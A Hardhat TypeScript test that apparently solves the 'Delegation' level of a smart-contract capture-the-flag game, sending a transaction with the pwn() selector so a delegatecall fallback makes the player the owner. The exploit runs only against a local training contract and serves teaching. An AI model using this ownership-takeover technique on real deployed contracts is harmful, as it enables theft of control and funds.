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06-delegation.ts
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06-delegation.ts
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import { loadFixture } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { expect } from "chai";
import { TransactionRequest } from "ethers";
import hre from "hardhat";
import { Delegation, DelegationFactory, DelegationFactory__factory, Delegation__factory } from "../typechain-types";
import { FixtureContext, FixtureLevel, deployEssentials, deployLevel } from "./fixtures";
import { completeLevel } from "./helpers";
describe("6. Delegation", function () {
let context: FixtureContext;
let level: FixtureLevel<DelegationFactory, Delegation>;
beforeEach(async function () {
context = await loadFixture(deployEssentials);
level = await deployLevel(context, DelegationFactory__factory, (address, signer) =>
Delegation__factory.connect(address, signer),
);
});
it("should be attacked successfully", async function () {
expect(await level.instance.owner()).to.be.not.eq(context.player);
const txreq: TransactionRequest = {
to: await level.instance.getAddress(),
from: context.player.address,
data: hre.ethers.id("pwn()").slice(0, 10), // 0xdd365b8b
};
const tx = await context.player.sendTransaction(txreq);
await expect(tx).to.be.not.reverted;
await tx.wait();
expect(await level.instance.owner()).to.be.eq(context.player);
await completeLevel(context, level);
});
});